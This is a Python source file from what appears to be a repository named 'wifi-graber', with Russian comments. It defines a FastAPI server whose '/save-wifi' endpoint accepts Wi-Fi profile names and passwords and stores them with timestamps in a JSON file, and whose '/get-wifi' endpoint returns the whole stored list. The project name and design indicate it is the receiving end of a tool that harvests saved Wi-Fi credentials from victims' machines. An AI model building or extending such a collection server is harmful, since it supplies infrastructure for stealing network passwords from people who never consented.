wifi-graber/backend/server.py
2025-04-14 19:26:13 +03:00

66 lines
1.9 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
from datetime import datetime
import json
import os
from pathlib import Path
app = FastAPI()
class WiFiData(BaseModel):
profile_name: str
password: str
DATA_FILE = "db/wifi_passwords.json"
# Гарантируем, что файл существует и содержит валидный JSON
def init_data_file():
if not Path(DATA_FILE).exists():
with open(DATA_FILE, 'w') as f:
json.dump([], f)
else:
# Проверяем, что файл не пустой и содержит валидный JSON
try:
with open(DATA_FILE, 'r') as f:
json.load(f)
except (json.JSONDecodeError, ValueError):
# Если файл поврежден, пересоздаем его
with open(DATA_FILE, 'w') as f:
json.dump([], f)
# Инициализируем файл при старте
init_data_file()
@app.post("/save-wifi")
async def save_wifi(data: WiFiData):
try:
with open(DATA_FILE, 'r') as f:
try:
wifi_list = json.load(f)
except json.JSONDecodeError:
wifi_list = []
wifi_list.append({
"profile_name": data.profile_name,
"password": data.password,
"timestamp": datetime.now().isoformat()
})
with open(DATA_FILE, 'w') as f:
json.dump(wifi_list, f, indent=4)
return {"status": "success", "message": "Wi-Fi data saved"}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
@app.get("/get-wifi")
async def get_wifi():
try:
with open(DATA_FILE, 'r') as f:
try:
return json.load(f)
except json.JSONDecodeError:
return []
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))